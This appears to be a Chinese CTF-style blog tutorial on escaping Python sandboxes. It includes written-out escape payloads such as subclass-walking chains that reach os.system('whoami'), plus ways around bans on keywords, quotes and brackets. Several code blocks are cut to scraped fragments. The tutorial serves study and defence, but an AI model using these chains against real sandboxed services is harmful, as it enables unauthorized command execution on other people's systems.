python沙箱逃逸
Python沙箱逃逸
当Python代码在服务器上运行的时候,总会遇到一些限制,如何突破这些限制并执行我们想要执行的命令,这就是Python沙箱逃逸需要关心的内容。
危险模块
Python中有很多危险的模块可以用来执行命令,如:asdasdasd
1 | PYTHON# os |
因此,为了防止在特定环境下被恶意执行命令,Python的运行环境内经常会存在一些机制来防止这样的事情发生,因此这也是CTF竞赛中的一项常见考点。
绕过关键词过滤
关键词过滤是最简单的过滤方式,比如禁止存在ls
,system
等敏感词。但Python的高灵活性使得绕过变得十分简单。
同样想要执行whoami
指令,我们可以创造出如下的形式来绕过简单的字符串匹配,构造whoami
字符串:
1 | PYTHON>>> import os |
以上的语句最终都能调用os
的system
方法,进而执行我们想要执行的命令。
花样import
很多时候会被阻止使用import
语句,但是import
的方式也有很多中,详见如下的例子:
1 | PYTHON>>> import os |
进一步了解一下Python对于模块的导入过程:
Python导入模块时,会先判断
sys.modules
是否已经加载了该模块,如果没有加载则从sys.path
中的目录按照模块名查找py
、pyc
、pyd
文件,找到后执行该文件载入内存并添加至sys.modules
中,再将模块名称导入Local
命名空间。如果a.py
中存在import b
,则在import a
时a,b
两个模块都会添加至sys.modules
中,但仅将a
导入Local
命名空间。通过from x import y
时,则将x
添加至sys.modules
中,将y
导入Local
命名空间。
而对于import
行为本身,由于其通过sys.path
搜索路径,如果我们可以在运行目录写入文件,或向其他目录写入文件,并通过改变sys.path
的值,进而引入我们自定义的模块,从而覆盖沙箱中所调用的模块——如ramdom
,使得随机可控等。例如:
1 | PYTHON>>> sys.path.append('/path/to/my/code') |
对于另一个与导入模块息息相关的sys.modules
,它包含了从Python开始执行起所包含的全部导入的模块。如果将其中的部分模块设置为None
,就无法再次引用了;并且,若将模块从sys.modules
中移除,那么这个模块就彻底不可用了。
1 | PYTHON>>> sys.modules['os'] |
重新导入
Python将一些常用的模块放在了内建模块——__builtins__
中,这些函数无需导入即可使用,如eval
和open
,在一些环境中会将__builtins__
的大部分内容置为None
来进行限制,这种时候我们的第一种策略是尝试重新导入:
1 | PYTHON>>> from imp import reload |
获取object类
Python建议类的protected类型、private类型及内部变量分别以_xxx
、__yyy
、__zzz__
的形式命名,但这仅是一种代码风格规范,并未在语言层面作任何限制。因此,我们可以使用内置的方法获取对象的父类、子类。
首先,可以看一下我们能够入手的class
有多少:
1 | PYTHON>>> [].__class__ |
可以看到,如上的几个组合均顺利获取到了其类型——均为class
,于是我们可以利用如下的方式获取其基类——object
:
1 | PYTHON>>> {}.__class__.__base__ |
至此,我们一般可以通过几个思路来获取我们需要的危险方法:
- 如果
object
的某个派生类中存在危险方法,就可以直接拿来用 - 如果
object
的某个派生类导入了危险模块,就可以链式调用危险方法 - 如果
object
的某个派生类由于导入了某些标准库模块,从而间接导入了危险模块的危险方法,也可以通过链式调用 - 基本类型的某些方法属于特殊方法,可以通过链式调用
获取object的子类
当我们获取到了基类之后,可以先看看它存在哪些子类:
1 | PYTHON>>> for i in enumerate({}.__class__.__base__.__subclasses__()): print(i) |
实施逃逸
在获取到子类列表之后,我们可以做的事情就很多了,比如,对于builtin_function_or_method
,我们可以利用它的__call__
函数:
1 | PYTHON |
我们也可以利用__init__.__globals__
获取到全部全局变量字典:
1 | PYTHON>>> dir({}.__class__.__base__.__subclasses__()[-2].__init__.__globals__) |
但获取__globals__
的过程中,要注意选择__init__
的描述中不含有warped
的对象:
1 | PYTHON>>> {}.__class__.__base__.__subclasses__()[0].__init__ |
其原因在于,wrapper_descriptor
是不含有__globals__
对象的,而我们需要使用function
对象的__globals__
来获取。
一旦获取了__globals__
,其中的可操作性变得很高,因为其中含有sys
、__builtins__
这类危险模块,可以使用字典直接获取:
1 | PYTHON>>> {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__['sys'].modules['os'].system('whoami') |
同时也可以间接调用危险模块:
1 | PYTHON |
最后,我们还可以使用一些基本类的方法来实现同样的效果:
1 | PYTHON |
限制绕过
不允许使用引号
但输入不允许包含引号时,意味着我们无法自行构造字符串来进行字典访问,这时候一般有如下策略,为方便我这里将其进行赋值,实际操作中可以将其展开使用:
使用
1
keys()
函数加数组引索的方式获取:
1
2
3PYTHON>>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__
list(globals_.keys())[9]] globals_[
<module 'sys' (built-in)>使用
1
bytes
类进行构造字符串
1
2
3
4PYTHON>>> globals_ = {}.__class__.__base__.__subclasses__()[-2].__init__.__globals__
6] bytes_ = {}.__class__.__base__.__subclasses__()[
115, 121, 115]).decode()] globals_[bytes_([
<module 'sys' (built-in)>
不允许使用[]
这种时候一般利用__getitem__
函数进行获取数组对象。
1 | PYTHON>>> {}.__class__.__base__.__subclasses__().__getitem__(6) |